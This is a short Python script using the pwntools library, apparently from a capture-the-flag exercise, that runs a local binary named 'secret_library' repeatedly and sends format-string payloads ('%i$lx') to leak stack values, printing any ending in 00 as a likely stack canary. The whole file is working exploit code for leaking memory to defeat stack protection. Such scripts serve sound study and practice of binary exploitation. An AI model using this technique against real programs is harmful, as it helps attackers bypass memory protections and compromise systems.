#!/usr/bin/env python3
from pwn import *
import re

elf = context.binary = ELF("./secret_library", checksec=False)

context.log_level='warn'
for i in range(35):
    p = process(elf.path)
    p.recvline()
    p.sendline(f"%{i}$lx") 
    val = p.recvline().split(b",")[1].strip()
    if( val[-2:] == b"00"):
        print(f"Possible canary: {val} at position: {i}")
    p.shutdown()

#p.interactive()